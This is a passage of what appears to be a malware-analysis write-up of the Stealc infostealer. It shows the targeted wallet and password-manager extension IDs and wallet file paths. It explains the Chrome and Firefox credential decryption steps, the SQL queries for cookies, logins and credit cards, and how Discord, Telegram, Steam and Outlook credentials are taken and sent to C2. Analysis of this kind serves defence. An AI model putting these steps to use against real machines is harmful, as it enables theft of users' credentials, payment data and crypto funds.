Coinbase Wallet extension		|hnfanknocfeofbddgcijnmhnfnkdnaad|1|0|1|  
Guarda							|hpglfhgfnhbgpjdenjgmdgoeiappafln|1|0|0|  
Jaxx Liberty					|cjelfplplebdjjenllpjcblmjkfcffne|1|0|0|  
iWallet							|kncchdigobghenbbaddojjnnaogfppfj|1|0|0|  
MEW CX							|nlbmnnijcnlegkjjpcfjclmcfggfefdm|1|0|0|  
GuildWallet						|nanjmdknhkinifnkgdcggcfnhdaammmj|1|0|0|  
Ronin Wallet					|fnjhmkhhmkbjkkabndcnnogagogbneec|1|0|0|  
NeoLine							|cphhlgmgameodnhkjdmkpanlelnlohao|1|0|0|  
CLV Wallet						|nhnkbkgjikgcigadomkphalanndcapjk|1|0|0|  
Liquality Wallet				|kpfopkelmapcoipemfendmdcghnegimn|1|0|0|  
Terra Station Wallet			|aiifbnbfobpmeekipheeijimdpnlpgpp|1|0|0|  
Keplr							|dmkamcknogkgcdfhhbddcghachkejeap|1|0|0|  
Sollet							|fhmfendgdocmcbmfikdcogofphimnkno|1|0|0|  
Auro Wallet(Mina Protocol)		|cnmamaachppnkjgnildpdmkaakejnhae|1|0|0|  
Polymesh Wallet					|jojhfeoedkpkglbfimdfabpdfjaoolaf|1|0|0|  
ICONex							|flpiciilemghbmfalicajoolhkkenfel|1|0|0|  
Coin98 Wallet					|aeachknmefphepccionboohckonoeemg|1|0|0|  
EVER Wallet						|cgeeodpfagjceefieflmdfphplkenlfk|1|0|0|  
KardiaChain Wallet				|pdadjkfkgcafgbceimcpbkalnfnepbnk|1|0|0|  
Rabby							|acmacodkjbdgmoleebolmdjonilkdbch|1|0|0|  
Phantom							|bfnaelmomeimhlpmgjnjophhpkkoljpa|1|0|0|  
Brave Wallet					|odbfpeeihdkbihmopkbjmoonfanlbfcl|1|0|0|  
Oxygen							|fhilaheimglignddkjgofkcbgekhenbh|1|0|0|  
Pali Wallet						|mgffkfbidihjpoaomajlbgchddlicgpn|1|0|0|  
BOLT X							|aodkkagnadcbobfpggfnjeongemjbjca|1|0|0|  
XDEFI Wallet					|hmeobnfnfcmdkdcmlblgagmfpfboieaf|1|0|0|  
Nami							|lpfcbjknijpeeillifnkikgncikgfhdo|1|0|0  
|Maiar DeFi Wallet				|dngmlblcodfobpdpecaadgfbcggfjfnm|1|0|0|  
Keeper Wallet					|lpilbniiabackdjcionkobglmddfbcjo|1|0|0|  
Solflare Wallet					|bhhhlbepdkbapadjdnnojkbgioiodbic|1|0|0|  
Cyano Wallet					|dkdedlpgdmmkkfjabffeganieamfklkm|1|0|0|  
KHC								|hcflpincpppdclinealmandijcmnkbgn|1|0|0|  
TezBox							|mnfifefkajgofkcjkemidiaecocnkjeh|1|0|0|  
Temple							|ookjlbkiijinhpmnjffcofjonbfbgaoc|1|0|0|  
Goby							|jnkelfanjkeadonecabehalmbgpfodjm|1|0|0|  
Ronin Wallet					|kjmoohlgokccodicjjfebfomlbljgfhk|1|0|0|  
Byone							|nlgbhdfgdhgbiamfdfmbikcdghidoadd|1|0|0|  
OneKey							|jnmbobjmhlngoefaiojfljckilhhlhcj|1|0|0|  
DAppPlay						|lodccjjbdhfakaekdiahmedfbieldgik|1|0|0|  
SteemKeychain					|jhgnbkkipaallpehbohjmkbjofjdmeid|1|0|0|  
Braavos Wallet					|jnlgamecbpmbajjfhmmmlhejkemejdma|1|0|0|  
Enkrypt							|kkpllkodjeloidieedojogacfhpaihoh|1|1|1|  
OKX Wallet						|mcohilncbfahbmgdjkbpemcciiolgcge|1|0|0|  
Sender Wallet					|epapihdplajcdnnkdeiahlgigofloibg|1|0|0|  
Hashpack						|gjagmgiddbbciopjhllkdnddhcglnemk|1|0|0|  
Eternl							|kmhcihpebfmpgmihbkipmjlmmioameka|1|0|0|  
Pontem Aptos Wallet				|phkbamefinggmakgklpkljjmgibohnba|1|0|0|  
Petra Aptos Wallet				|ejjladinnckdgjemekebdpeokbikhfci|1|0|0|  
Martian Aptos Wallet			|efbglgofoippbgcjepnhiblaibcnclgk|1|0|0|  
Finnie							|cjmkndjhnagcfbpiemnkdpomccnjblmj|1|0|0|  
Leap Terra Wallet				|aijcbedoijmgnlmjeegjaglmepbmpkpi|1|0|0|  
Trezor Password Manager			|imloifkgjagghnncjkhggdhalmcnfklk|1|0|0|  
Authenticator					|bhghoamapcdpbohphigoooaddinpkbai|1|0|0|  
Authy							|gaedmjdfmmahhbjefcbgaolhhanlaolb|1|0|0|  
EOS Authenticator				|oeljdldpnmdbchonielidgobddffflal|1|0|0|  
GAuth Authenticator 			|ilgcnhelpchnceeipipijaljkblbcobl|1|0|0|  
Bitwarden					 	|nngceckbapebfimnlniiiahkandclblb|1|0|0|  
KeePassXC						|oboonakemofpalcgghocfoadofidjkkk|1|0|0|  
Dashlane						|fdjamakpfbbddfjaooikfcpapjohcfmg|1|0|0|  
NordPass						|fooolghllnmhmmndgjiamiiodkpenpbb|1|0|0|  
Keeper							|bfogiafebfohielmmehodmfbbebbbpei|1|0|0|  
RoboForm						|pnlccmojcmeohlpggmfnbbiapkmbliob|1|0|0|  
LastPass						|hdokiejnpimakedhajhdlcegeplioahd|1|0|0|  
BrowserPass						|naepdomgkenhinolocfifgehidddafch|1|0|0|  
MYKI							|bmikpgodpkclnkgmnpphehdgcimmided|1|0|0|  
Splikity  						|jhfjfclepacoldmjmkmdlmganfaalklb|1|0|0|  
CommonKey 						|chgfefjpcobfbnpmiokfjjaglahmnded|1|0|0|  
Zoho Vault    					|igkpcodhieompeloncfnbekccinhapdb|1|0|0|  
Opera Wallet  					|gojhcdgcpbpfigcaejpfhfegekdgiblk|0|0|1|

it’s a collection of browser extensions that Stealc will search for in the browser’s DB using the ID provided which adds more stealthy capabilities, the same operation of storing configuration is done with these plugins as browsers did.

Exfiltrate System Information

after that Stealc starts gathering system and hardware information like,

ip address  
country   
processor name  
operating system  
arch 32 or 64  
pc or laptob  
UserName  
computerName  
Screenshot  
installed apps  
running process  
etc.....

and after allocating this data it saves it in a format that is understandable by C2.

then the Collected Data is base64 encoded before transferring to C2

and here is the stream of the fully allocated data

System Summary:  
 - HWID: 8658E8B4266B114684123  
 - OS: Windows 10 Enterprise  
 - Architecture: x64  
 - UserName:   
 - Computer Name: DESKTOP-2C3IQHO  
 - Local Time: 2023/9/14 18:47:27  
 - UTC: -5  
 - Language: en-US  
 - Keyboards: English (United States)  
 - Laptop: FALSE  
 - CPU: Intel(R) Core(TM) i7-4600M CPU @ 2.90GHz  
 - Cores: 1  
 - Threads: 1  
 - RAM: 4095 MB  
 - Display Resolution: 1536x864  
 - GPU:  
  -VMware SVGA 3D  
  -VMware SVGA 3D  
User Agents:  
Installed Apps:  
All Users:  
 HxD Hex Editor version 1.7.7.0 - 1.7.7.0  
 Npcap - 1.55  
 VB Decompiler Lite  
 WinSCP 5.13 - 5.13  
 Wireshark 3.6.0 64-bit - 3.6.0  
 Microsoft Visual C++ 2010 x86 Redistributable - 10.0.30319 - 10.0.30319  
 Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 - 9.0.30729.4148  
 Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.32.31326 - 14.32.31326.0  
Current User:  
 Progress Telerik Fiddler - 5.0.20173.50948  
 Microsoft OneDrive - 18.025.0204.0009  
 Opera Stable 91.0.4516.77 - 91.0.4516.77  
 Python 3.9.9 (64-bit) - 3.9.9150.0  
  
Process List:  
 System  
 smss.exe  
 csrss.exe  
 wininit.exe  
 csrss.ex  
 SearchIndexer.exe  
 SearchUI.exe  
 RuntimeBroker.exe  
 RuntimeBroker.exe  
 svchost.exe  
 SettingSyncHost.exe  
 svchost.exe  
 svchost.exe  
 vmtoolsd.exe  
 msdsrv.exe  
 svchost.exe  
 svchost.exe  
 svchost.exe  
 ApplicationFrameHost.exe  
 svchost.exe  
 svchost.exe 

Downloader

after exfiltrating system info, Stealc will download Sqlite3 Dll which will be used to execute some queries to retrieve data from Ghrome Application data, so I will not skip this and try to explain it in detail.

first, it asks for Sqlite3.dll

after downloading the file it starts checking if the file is correct by checking some magic byte related to the dos header and PE header, and after that, it will not copy the whole file just from the start of section headers till the end of the file.

Stealc does all of that just to get addresses of some APIs that will assist in retrieving data from Chrome databases which Chrome itself uses

sqlite3_open

sqlite3_prepare_v2

sqlite3_step

sqlite3_column_text

sqlite3_finalize

sqlite3_close

sqlite3_column_bytes

sqlite3_column_blob

after that, it will start to check the browser structure built before and check the web engine then it will start to iterate over all browsers and if it hits any browser that exists on the victim machine it will then get a handle to db files which I will explain next…….

first, it will resolve

%USER%AppData\Local\Google\Chrome\User Data\LocalState

that exists in Chrome folders, but why this file exactly because it is used to store some more technical information about Chrome

The user’s preferred language

The user’s theme and font settings

The user’s startup settings (e.g., whether to open Chrome maximized)

The user’s privacy settings (e.g., whether to enable cookies)

The user’s extensions and their settings

The user’s bookmarks and history

after getting a handle on the file it will read file data and save a pointer to it into the first passed argument.

after that, it will search for the “encrypted_key “ string on the buffer, then it will try to retrieve the key from the file buffer because the key is saved in a format that I will show in the next figure.

until that, it will iterate over the buffer until it hits the end of the key which is marked by the “}” symbol

after retrieving the key it will base64 decode it, at the first 5 bytes of the decoded stream the word “DPAPI” indicates a DPAPI decrypted stream, after that, it will use the decoded key to decrypt the AES key using CryptUnprotectData, and the result is an AES key which will be used to decrypt cookies and credentials that because chrome(v80+) is encrypting data using AES and the AES key is encrypted with DPAPI,

then it will AES decrypted key to generate a symmetric key which will be used for the decryption operation, this is done in 3 steps

1- call BCryptOpenAlgorithmProvider to handle a cryptographic algorithm provider which in this case is AES.

2-call BCryptSetProperty to set the mode to ChainingModeGCM, It specifies that the Galois/Counter Mode (GCM) chaining mode should be used. GCM is a mode of operation for block ciphers that provides both encryption and authentication (with the help of Bard chat)

3- call BCryptGenerateSymmetricKey, used to generate a symmetric key for cryptographic operations and save a handle for it in Phkey var.

after that, it will retrieve the browser path that was received from C2, and in our case the first folder path is

%USER%AppData\Local\Google\Chrome\User Data

so it will iterate over all folders on this path looking for some Browser DB files, these files are

AppData\Local\Google\Chrome\User Data\Default\Network\Cookies

AppData\Local\Google\Chrome\User Data\Default\Login Data

AppData\Local\Google\Chrome\User Data\Default\Web Data

AppData\Local\Google\Chrome\User Data\Default\History

which enables it to steal history and web sessions also autofill data will be exfiltrated.

Chrome Cookies

the first file hit is the Cookies file and to avoid detection and security configuration Stealc copies the Cookies file to a new file which enables it to do what it can do without caring about file handles that may look wired if a solution is found that a normal executable owns a handle for cookies file.

so copying the DB files to the ProgramData path will be done with all files.

then Stealc will start accessing DB and execute queries, I am going to explain it in detail step by step, keep reading.

1- it first calls sqlite_open which opens a database file and returns a handle to the Database connection on the ppb argument

int sqlite3_open(  
  const char *filename,   /* Database filename (UTF-8) */  
  sqlite3 **ppDb          /* OUT: SQLite db handle */  
);

2-compile SQL Query using Sqlite3_prepare_v2 to be used again to extract data from the DB file

int sqlite3_prepare_v2(  
  sqlite3 *db,            /* Database handle */  
  const char *zSql,       /* SQL statement, UTF-8 encoded */  
  int nByte,              /* Maximum length of zSql in bytes. */  
  sqlite3_stmt **ppStmt,  /* OUT: Statement handle */  
  const char **pzTail     /* OUT: Pointer to unused portion of zSql */  
);

SELECT HOST_KEY, is_httponly, path, is_secure,  
(expires_uc/1000000)-11644480800,name, encrypted_value from cookies

so let’s break down this query and see the expected output.

• HOST_KEY: The domain of the website that sets the cookie.
• is_httponly: Whether or not the cookie can be accessed by JavaScript.
• path: The path on the website where the cookie is valid.
• is_secure: Whether or not the cookie is only sent over secure connections.
• (expires_uc/1000000)-11644480800: The expiration date of the cookie in Unix time.
• name: The name of the cookie.
• encrypted_value: The encrypted value of the cookie.

and if we take a look at this Sqlite file in any viewer it will ensure our analysis and decryption phase.

3- Call SQLite3_step which is used to execute a prepared statement obtained from SQLite_perpare_v2 and advance to the next row of results

int sqlite3_step( sqlite3_stmt* stmt );

so it will call Sqlite3_step Repeatedly until it returns 100 -> (SQLITE_ROW), indicating that another row of output is available.

4-calls Sqlite3_column_text and this function will contain the output of the query based on the pushed column number in the iCol argument as a UTF-8 string.

const unsigned char *sqlite3_column_text(  
  
      sqlite3_stmt *stmt,     // handle to the perpared statemtn  
       int iCol               // the index of the columen to be retrived  
);

after each API call, it will copy the result to a local or global variable then it will compare the result of the index (1) → is_http_only and it returns a boolean value. It indicates whether the cookie is marked as HttpOnly, HttpOnly cookies are not accessible via JavaScript.

also, it checks the is_secure element which also returns a boolean output, and in the 2 conditions it will append “False” if the output is “0”

Then it collects all these outputs in one buffer using StrCatA which will be sent to C2.

5-then it starts handling index 6 “encrypted_value” and this is done by first calling sqlite3_column_bytes to get the length of this column and then calling sqlite3_column_blob to extract the data of the column but this time in byte format cause it may not be formatted as a string.

then it will pass the 2 outputs to the mw_Decrypt_Using_AES() function which will use the generated Asymmetric key obtained before from the local state file after decrypting the key using DAPI to decrypt the encrypted value.

inside the AES decryption routine it will first compare the first 3 bytes of the encrypted bytes against str “v10” and if it does not match it will exit the function.

and “v10” here refers to the version used by the website when it saved the cookies so why does it exit if the version is different?

we have two versions of cookies used by Chrome when it handles cookie encryption,v10, and v11

• v10: Uses static private key “peanuts” salted with “saltysalt”
• v11: Stores private key in Operating System’s key chain

then it will decrypt this data using the key handle of AES private key using BcryptDecrypt API

after decryption, it will append the decrypted cookie value to the buffer which will be sent to the C2 server, and it will iterate over all the db file to retrieve the encrypted_value column values and decrypt it.

and here is how the data is formatted for every record.

and the cookies buffer is base64 encoded and sent to the C2 server, and as the first data is pushed to C2 a packet ID is generated and appended to HTTP headers.

after that, it will close the DataBase handle and delete the dropped file.

Chrome History

the same as cookies is done with the History file.

1-get handle for AppData\Local\Google\Chrome\User Data\Default\History

2-copy the file to %programdata% folder with a random name

3-open handle to the database file.

4-Execute a query to retrieve the first 1000 history record

SELECT url FROM urls LIMIT 1000

5- base64 data and send it to C2 then close database handle and delete the file from %programdata% folder.

Chrome Login Data

after collecting cookies and history it will get a handle to the login_data file

AppData\Local\Google\Chrome\User Data\Default\Login Data

which contains the username and password for every website the user logged to.

the query in this case is different

SELECT origin_url, username_value, password_value FROM logins

the password_value is AES Encrypted so it will handle it as same as the cookies file.

The Chrome login data is not sent directly after allocating it , because it allocates all logins related to all browsers in the victim machine then it sends them into one buffer but absolutely the data is formatted to identify the browser these data belong to.

Chrome Web Data: autofill data

This file is so important as login data this file contains information about many settings :

• autofill data
• contact info
• saved credit cards
• IBANs numbers
• all payment data

it handles web data via 2 phases, first, it tries to get autofill data and saves it remotely in a txt file, and here is the query used to retrieve auto-fill data.

SELECT name, value FROM autofill

to test all of this I previously created a record in Chrome to be saved in a web data file and our stealer here succeeded in retrieving this data

fname

lname

email

and then it resolves a string to identify this data cause it is specifically related to Chrome using this string → “autofill\Google Chrome_Default.txt”

and then send the data to c2, and then it closes the DB handle.

Chrome Web Data: Credit Card data

after that, it will try to retrieve saved credit cards in Chrome and append this string to be used as an identifier to this data or it will be used to save this data remotely in c2.

“cc\Google Chrome_Default.txt”

and it executes this query which will be used to retrieve the card name, exp month and year, and card number.

SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards

and then the card number will be decrypted using the AES key handle and then the data will be sent to C2, it closes the DB handle and removes the dropped file in the %programdata% folder.

Chrome Extensions (Crypto Wallets):

as we know some extensions handle cryptocurrency operations that act as crypto wallets and these extensions are targeted by Stealc, so after it steals browser data it will iterate over all extensions that had been downloaded previously to extract its data and send it to TA, How does this happens? that is what I will explain next.

it first gets a pointer to an array of structures, and every structure contains data about a specific extension like name, name length, and ID

struct extension  
{  
  Dword* Name_ptr;  
  Dword Null_bytes;  
  Dword Name_length;  
  Dword* ID_ptr  
}:

then using FindFirstFile and FindNextFile it iterates over all folders in UserData folder just to get the path of the extension and due to time the required file path is :

%APPDATA%local\Google\Chrome\UserData\Default\local extension settings<Extension_ID >

and then after getting the path of this file, it will then construct an identifier for this file to be used in c2 communication to identify this data.

I have installed MetaMask Extension to simulate this process and the constructed Identifier contains the browser this extension is installed on and the plugin name and “local” or “Sync” extension to identify if the extension data is saved locally or being synchronized with a remote server.

plugins\MetaMask\Google Chrome\Default\Local Extension Settings

then it will copy this first file on the extension folder to a program data path as it did before with web data

it then reads this file by allocating a buffer using localalloc and then using Readfile with ReadOnly Handle gotten by CreateFileA it fills the buffer with file data.

and here is the file that will be used in the C2 connection as ID for the posted data.

plugins\MetaMask\Google Chrome\Default\Local Extension Settings\000005.ldb

then it will encode the data and the file Identifier using base64 and send it to C2, and it does this for all files in the <extension_id> folder, in my case when I installed MetaMask:

and then will iterate over the full array of extensions and try to find its files if it is and send them to the TA server.

Firefox Credentials:

due to that, Stealc handles Opera-based browsers the same as Chrome but the DB files are saved in different destinations, so I will explain the difference between file structure and settings of Chrome and Firefox

it first constructs the path where Firefox saves its data

C:\Users\REM\AppData\Roaming\Mozilla\Firefox\Profiles

and then start downloading 6 DLLs by constructing the URL of each DLL and the local folder to be saved in.

it downloads 6 Dlls to be used to retrieve Firefox Data

• Freebl3.dll
• mozglue.dll
• nss3.dll
• vcruntime140.dll
• softokn3.dll
• msvcp140.dll

then it drops these Dlls in the ProgramData path

then it will start resolving some APIs from Nss3.dll by first getting a handle to this DLL and then trying to get addresses for :

• NSS_Init
• NSS_Shutdown
• PK11_GetInternalKeySlot
• PK11_FreeSlot
• PK11_Authenticate
• PK11SDR_Decrypt

and when it comes to Firefox it will search for 4 files that contain user data and browsing settings

p:\Users\<Username>\AppData\Roaming\Mozilla\Firefox\Profiles\<ProfileName>\cookies.sqlite_**

• This file is responsible for storing information about web cookies

C:\Users\<Username>\AppData\Roaming\Mozilla\Firefox\Profiles\<ProfileName>\formhistory.sqlite_**

• database file used by Mozilla Firefox to store information related to web forms and user input.

C:\Users\<Username>\AppData\Roaming\Mozilla\Firefox\Profiles\<ProfileName>\places.sqlite_**

• database file used by the Mozilla Firefox web browser to store various information related to your browsing history, bookmarks, and other web-related data

C:\Users\<Username>\AppData\Roaming\Mozilla\Firefox\Profiles\<ProfileName>\logins.json_**

• stores all of the saved logins for the Firefox profile. This includes the website URL, username, and password for each saved login

For the 3 SQLite files it handles them the same as Chrome using Sqlite APIs resolved before but with different queries, and also the data is not encrypted as Chrome

Firefox: Cookies.SQLite

it handles Firefox Cookies as Chrome but with a different query, also firefox cookies are not encrypted or if it is it will decrypt them remotely in C2 so it extracts them and sends them immediately to C2

SELECT host, isHttpOnly, path, isSecure,expiry, name, value FROM moz_cookies

• host: The domain name of the website that set the cookie.
• isHttpOnly: A boolean value indicating whether the cookie can only be accessed by HTTP requests, or if it can also be accessed by JavaScript.
• path: The path on the website where the cookie is valid.
• isSecure: A boolean value indicating whether the cookie is only sent over secure HTTPS connections.
• expiry: The date and time when the cookie expires.
• name: The name of the cookie.
• value: The value of the cookie.

Firefox: Places.SQLite

as I have said before places file stores history and some settings like bookmarks etc..

but it only retrieves the history record

SELECT url FROM moz_places LIMIT 1000

and here is how this Data was constructed and sent to C2

Firefox: FormHistory.SQLite

As I said before this file contains data related to automated filling and web forms

SELECT fieldname, value FROM moz_formhistory

and here is the result of the query on a Sqlite viewer

note* this a fake account :)

Firefox: Logins.Json

this file stores the most important data in Firefox so Stealc handles it differently, let’s explain it in formatted steps to make it easier to understand.

1- it gets a handle with the (OPEN_EXISTING) flag for the JSON file not the original file but the file that was copied to
Program Data path as it did with Chrome

2- it reads the file in memory, let’s parse the file on an online JSON beautifier

3- it will get a ptr to 2 elements on this file which are the most important “encryptedUserName” and “encryptedPassword” using strstr API

4- after getting these two elements it will go forward to encrypt them via some steps but after decoding them from base646 cipher.

5- it will execute a call to PK11_GetInternalKeySlot that returns a pointer to the internal key slot.

and this is the type of keys

• keyType: The type of key to return the internal key slot for. The key type can be any of the following:
• PK11_TYPE_DSA: A DSA key.
• PK11_TYPE_RSA: An RSA key.
• PK11_TYPE_ECDSA: An ECDSA key.
• PK11_TYPE_DH: A Diffie-Hellman key.
• PK11_TYPE_KEA: A Kerberos key.

6- It then will call PK11_Authenticate,PK11_Authenticate a function typically used to perform authentication or login actions in the context of cryptographic tokens, security modules, or hardware security modules (HSMs). Here’s a general description of what this function does

7- then it will call PK11SDR_Decrypt to decrypt the cipher text using the token offered before from the Authenticate function.

Send Login Data

after allocating all usernames and passwords Stealch will format this data and send it to C2, and in my VM I only had installed Chrome and logged into only one website due to testing purposes (dropbox.com).

it first will encode the allocated login data which is formatted in YAML format.

browser: Google Chrome  
profile: Default  
url: https://www.dropbox.com/login  
login: f73eb0a00c@emailboxa.online  
password: 123456#Lol

then it will encode the string “docia.docx” which will be used as an identifier for the login data

Local Crypto Currency Wallets

the next part involves how Stealc Exfiltrate crypto wallets which data is stored on the device through some steps.

1- it first asks C2 for Wallets configuration.

and here is the decoded data

Bitcoin Core    		|\Bitcoin\wallets\|wallet.dat|1|  
Bitcoin Core Old		|\Bitcoin\|*wallet*.dat|0|  
Dogecoin				    |\Dogecoin\|*wallet*.dat|0|  
Raven Core				  |\Raven\|*wallet*.dat|0|  
Daedalus Mainnet		|\Daedalus Mainnet\wallets\|she*.sqlite|0|  
Blockstream Green		|\Blockstream\Green\wallets\|*.*|1|  
Wasabi Wallet			  |\WalletWasabi\Client\Wallets\|*.json|0|  
Ethereum				    |\Ethereum\|keystore|0|  
Electrum				    |\Electrum\wallets\|*.*|0|  
ElectrumLTC				|\Electrum-LTC\wallets\|*.*|0|  
Exodus					|\Exodus\|exodus.conf.json|0|  
Exodus					|\Exodus\|window-state.json|0|  
Exodus					|\Exodus\exodus.wallet\|passphrase.json|0|  
Exodus					|\Exodus\exodus.wallet\|seed.seco|0|  
Exodus					|\Exodus\exodus.wallet\|info.seco|0|  
Electron Cash			|\ElectronCash\wallets\|*.*|0|  
MultiDoge				|\MultiDoge\|multidoge.wallet|0|  
Jaxx Desktop (old)		|\jaxx\Local Storage\|file__0.localstorage|0|  
Jaxx Desktop			|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|  
Atomic					|\atomic\Local Storage\leveldb\|*.*|0|  
Binance					|\Binance\|app-store.json|0|  
Binance					|\Binance\|simple-storage.json|0|  
Binance					|\Binance\|.finger-print.fp|0|  
Coinomi					|\Coinomi\Coinomi\wallets\|*.wallet|1|  
Coinomi					|\Coinomi\Coinomi\wallets\|*.config|1|

then the data is parsed on the stack by creating an array of structures for each wallet.

struct wallet  
{  
  DWORD* Wallet_Name;  
  DWORD Null_Value;  
  DWORD Wallet_Name_Length;  
  DWORD* Wallet_Path;  
  DWORD Null_Value_1;  
  DWORD Wallet_Path_Length;  
  DWORD* Wallet_Config_File;  
  DWORD Null_Value_2;  
  DWORD Wallet_Config_File_Length;  
  bool flg_value; // 0 or 1  
    
};

inside sub_40111E it will start stealth behavior related to wallets by getting the path of (APPDATA\Romaing) using SHGetFolderPathA API using 0x1A as CSIDL

inside (%APPDATA%Romaing) it will iterate over all files until it hits the wallet path that passed previously to sub_40111E which for the first element in the wallets array is (Bitcoin\wallets), so I have created this file to emulate that.

so it will keep iterating on files in this folder “APPDATA\Romaing\” until it finds the “Bitcoin\wallets” folder then it searches for “wallet.dat” which stores the wallet information

then it will copy this file “wallet.dat” to %ProgramData” folder with a randomly generated name.

then it will read the created file

then this file content is base64 encoded and sent to C2.

Efiltrate Files

then C2 will feed Stealc with some file names to collect and exfiltrate it to TA, these files are related to some cryptocurrency wallet configuration and local password file where the user may save its passwords.

|%DESKTOP%\|*seed*.*,*passphrase*.*,*erc20*.*,*trc20*.*,*exodus*.*,*metamask*.*,*binance*.*,*wallet*.*|0|1|0|  
|%DOCUMENTS%\|*seed*.*,*passphrase*.*,*erc20*.*,*trc20*.*,*exodus*.*,*metamask*.*,*binance*.*,*wallet*.*|0|1|0|

then it will try to get the path of some common file and check if the path exists on the decoded stream received from C2

Desktop

APPDATA\Romaing

APPDATA\Local

**__**

Document

ProgramFiles

ProgramFiles x86

Recent

and then will iterate over these folders and subfolders, if it finds any file that contains any string of those which was sent from C2 like “seed”, “passphrase”,” MetaMask” etc.., it will read its content and send it to C2

Usage of COM

COM → Stealc is using the component object model to handle ShellLinks or shortcuts cause it may find a file that has a name like “seedX.lnk” so if it copies this file it will copy the shortcut itself not the original file pointed by the shortcut so it handle this via COM to get the original file, so lets summary this in some steps.

1: it initializes the com interface via CoCreateInstance

HRESULT CoCreateInstance(  
  [in]  REFCLSID  rclsid,  
  [in]  LPUNKNOWN pUnkOuter,  
  [in]  DWORD     dwClsContext,  
  [in]  REFIID    riid,  
  [out] LPVOID    *ppv  
);

the rclsid used here is {000214EE-0000–0000-C000–000000000046} → IShellLinkA so to handle this interface we need to convert the type of PPV to be a type of (_IShellLinkA*)** which will contain a handle to the created **_COM

2- it will create another object for another interface by this time using the previously created COM and execute a call for

IShellLinkA->lpVtbl->QueryInterface()

{0000010b-0000–0000-C000–000000000046} → UCOMIPersistFile

unk_40f040 → refers to interface-id

the object refers to IPersistFile Interface.

3-then it will get a handle to the file using load method from IPersistFile interface with Read permission (STGM_READ) → second argument

4- it executes a call to resolve method to find the target of a Shell link, even if it has been moved or renamed, (SLR_NO_UI) to not display a dialog box if the link cannot be resolved

5- next, it will get the path of the file pointed by the short link using GetPath method with (SLGP_RAWPATH) to retrieve the raw path name

HRESULT GetPath(
  [out]     LPSTR            pszFile,  
  [in]      int              cch,  
  [in, out] WIN32_FIND_DATAA *pfd,  
  [in]      DWORD            fFlags);

file path I mean

then it will copy this file to program data and copy its content into memory using Readfile API and is sent to C2.

Steal Steam Files

Steal can collect Steam credentials and post them to C2, for Gamers A Steam account is the most valuable resource on the machine, so how does it handle this

1- it gets the path of the Steam folder using the Registry, Steam path is saved on

HKEY_CURRENT_USER\Software\Valve\Steam

and it retrieves the path using RegQueryValueExA to get “SteamPath” key value

2- After getting the Steam path it will try to get a handle on some important files used by steam

ssfn files are part of the Steam Guard process, a security feature provided by the Steam gaming platform, The Steam servers use the computer identifier to verify that the user is logging in from an authorized computer

config.vdf is used to store various configuration settings for the Steam client, including user preferences, interface settings, and other configurations.

loginusers.vdf file that typically contains information related to user accounts that have logged in to Steam on a particular computer. This includes data about the user’s Steam account, including the username, Steam ID, and other relevant account information.

DialogConfig.vdf contains configurations related to various dialog boxes and user interface (UI) elements within the Steam client. These dialog boxes may include settings, options, and preferences related to how Steam interacts with users.

3- For each file, it invokes the function sub_40AB8E. Within this function, a handle to the file is obtained, followed by reading its contents. Subsequently, the function appends the Data Identifier that will be utilized in the C2 (Command and Control) connection

the identifier, in this case, is “softsteam\” followed by the file name

Steal Discord Tokens

Stealing Discord Databases is not that easy, It costs more effort so how ?;

1-resolve the path where Discord Saves its files and configuration and then check the if current file exists on Leveldb folder

%APPDATA%\Romaing\discord\Local Storage\leveldb\CURRENT %APPDATA%\Romaing\discord\Local Storage\leveldb\

2- It invokes sub_40B110E with the path of Leveldb folder as an argument

3- inside sub_40B110E it will pass each file in leveldb folder to sub_40AEE5, these files are database files

4-Within the context of sub_40AEE5, the most pivotal actions revolve around the decryption of a crucial token. This decryption process shares similarities with how Chrome handles sensitive data in its files, as discussed previously. Let’s provide a concise overview of how this decryption typically unfolds

4.1- it gets the path of the LocalState file which contains the AES key

4.2 it will read LocalState File which contains the Encrypted Key,

the key is base64 encoded and encrypted with DPAPI

then it will decrypt it using DPAPI

using CryptUnProtectData will get the AES key which will be used later to Generate the AES key

4.3 After getting the handle it manipulates the DB file to search for the token, it first reads the DB file and then searches for “dQw4w9WgXcQ” which is the start or ID of Discord Tokens.

the value assigned with this token identifier is base64 encoded

4.4 then the data is AES decrypted using the Key handle optioned before

5- the last part of Stealing Discord Tokens is adding a Data Identifier to the allocated data and this time is “soft\Discord\tokens.txt”

Steal Telegram Sessions

it will get the path of telegram files and DBs which is located at “%APPDATA%\Romaing “ and try to locate some files which is used to to store telegram sessions like

%APPDATA%\Romaing\key_datas\D877F783D5D3EF8C\map

the map file contains the current telegram session, so it reads it and sends it directly to C2.

The Data Identifier here is “soft\Telegram\maps”

the source code of this task → click here

Steal qTox Files

qTox provides an easy-to-use application that allows you to connect with friends and family without anyone else listening in, so it’s like Telegram :)

Stealc collects “*.ini” files which are located at

Appdata\romaing\tox*.ini

and then send it To C2

Steal OutLook Credentials

In its covert operation, Stealc demonstrates its decryption prowess by unraveling the registry key where Outlook securely stores its configuration and account data. This intricate process involves the meticulous iteration over a total of 24 registry keys to successfully extract valuable Outlook account information, including usernames and passwords.

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\  
Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\  
Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\  
Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\  
Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\  
Software\Microsoft\WindowsMessaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A667

, and for each Key, it tries to open these 4 sub-keys

00000001  
00000002  
00000003  
00000004

so for each subkey, it calls sub_40B8D2, this function involves getting the subkey

for each key, it gets the name and if it matches “password” it gets the key value

using CryptUnprotectData, it will decrypt the password value and convert it to a MultiByte string

so as I said 24 times this function is called searching for accounts and their passwords, then it adds “soft\Outlook\accounts.txt” as an Identifier for the transferred data.

Steal Pidgin Credentials

Pidgin is an open-source instant messaging (IM) client that allows users to communicate with friends and colleagues through various IM networks

so Stealc tries to search for its config and DB files and send it To C2, it resolves the path where Pidgin config is located

%APPDATA%\Romaing\purple\accounts.xml

Act as Downloader

